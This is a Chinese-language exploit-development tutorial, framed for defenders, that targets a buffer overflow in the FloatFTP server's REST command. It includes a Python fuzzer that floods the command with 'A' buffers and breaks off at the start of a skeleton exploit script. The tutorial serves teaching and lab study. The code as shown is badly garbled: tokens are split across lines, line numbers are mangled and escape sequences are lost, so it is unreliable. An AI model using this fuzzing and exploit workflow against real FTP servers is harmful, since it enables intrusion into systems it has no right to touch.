理解缓冲区溢出漏洞的利用 在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。
在 研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单 的缓存漏洞。只有在不断地实验,各种概念会一个个出现————整个进程,无论是独立的部分还是整体————都会一点点呈现出来。
本教程将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程,需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。
如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。
我 要经历几个漏洞挖掘的阶段的才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过 Immunity debugger来监控崩溃的过程,在Windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个 漏洞来传递shellcode,从而攻击远程系统。
需要的软件/设置 攻击系统:Backtrack Linux(我用的R3) 开发/受害系统:Windows xp sp3英文版 Immunity debugger:安装在Windows xp系统上 FloatFTP:我们要利用的应用程序 让我们正是开始吧!
Fuzzing “Fuzzing”是发送无效或畸形的、过多的和随机数据到计算机程序试图使系统崩溃或出现意想不到现象的测试手段。Fuzzing用于测试系统和程序的安全。
双击float FTP来执行开始: 通过运行cmd提示符来运行和监听21端口和键入: netstat -an | find "21"
启动Immunity debugger,单击“file”,再单击“attach”,选择FTP服务器过程,单击“attach”。 一旦应用程序在调试器上加载时,调试器会处于暂定状态。按F9键或是Immunity debugger工具栏上的播放符号,让应用程序运行。这个目标应用程序将会被调试器监控。
现在我们将开始配置FTP fuzzer,首先,Fuzz应用程序来使系统崩溃,然后使用调试器来采集和分析崩溃数据。 下面的代码是一个用python脚本语言编写的简单的FTP fuzzer,当执行时,fuzzer会发送标准的FTP命令“REST”,并且附加越来越多的“A”到每条指令。
01
#!/usr/bin/py
thon
02
03
import so
cket
04
05
# Create an array of buffers, from 20 to 2000, with increments of
20.
06
07
buffer=[
"A"]
08
09
counte
r=20 10
11
while len(buffer)
<= 30:
12
13
buffer.append("A"*coun
ter)
14
15
counter=counter
+100
16
17
# Define the FTP commands to be
fuzzed
18
19
commands=["RE
ST"] 20
21
# Run the fuzzing
loop
22
23
for command in comma
nds:
24
25
for string in buf
fer:
26
27
print "Fuzzing" + command + " with
length:" +str(len(string))
28
29
s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM) 30
31
connect=s.connect(('10.10.10.32',21)) # Target
IP address
32
33
s.recv(1
024)
34
35
s.send('USER ftprn') # login
user
36
37
s.recv(1
024)
38
39
s.send('PASS ftprn') # login
password 40
41
s.recv(1
024)
42
43
s.send(command + ' ' + string + 'rn') #
buffer
44
45
s.recv(1
024)
46
47
s.send('QUIT
rn')
48
49
s.clo
se()
我们可以从例子(http://www.exploit-db.com/exploits/17546/)中知道FTP服务器的REST命令就是一个易受攻击的缓冲区溢出,FTP的REST功能将会成为fuzzer的目标。
在攻击系统的桌面上创建一个文件夹来存放fuzzing和漏洞代码。使用“CD”到这个目录,运行“nano fuzzer.py”。这会打开一个空白的nano文本编辑器,复制和粘贴上面的代码到文件中。
利用正在系统上运行的floatFTP的系统IP地址改变目标IP地址,按CTRL+O来保存文件,按CTRL+X来退出nano,接下来,通过键入来创建可执行文件。
chmod 755 fuzzer.py
执行“/fuzzer.py”,几秒钟后,你能够看到fuzzer停止了,并且显示目标应用程序崩溃。 当 你在xp系统上看到这个调试器,你会看到Immunity debugger已经捕获了破坏的数据和暂停的应用程序。如果你看EIP(扩展指令指针)寄存 器时,你就会看到在41次内fuzzer缓冲区覆盖寄存器,fuzzer缓冲区也会涌入ESP(扩展堆栈指针)寄存器(00AEFC2C)。我们的首要目 的是了通过CPU执行的指令代码再次控制EIP寄存器,把它设置成我们所选择的值。
漏洞挖掘 用nano创建一个新的文件,输入下面的代码。这是挖掘的开始,将文件保存为skeleton.py并执行(输入chmod 755 skeleton.py)
0#!/usr/bin/py 1 thon
02
03
import so
cket
04
05
s = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
06
07
buffer = 'x41' *
1000
08
09
print "nSending evil
buffer..."
10
1s.connect(('10.10.10.32', 1 21))
12
13
data = s.recv(1
024)
14
15
s.send('USER
ftp' +'rn')
16
17
data = s.recv(1
024)
18
19
s.send('PASS
ftp' +'rn')
20
2data = s.recv(1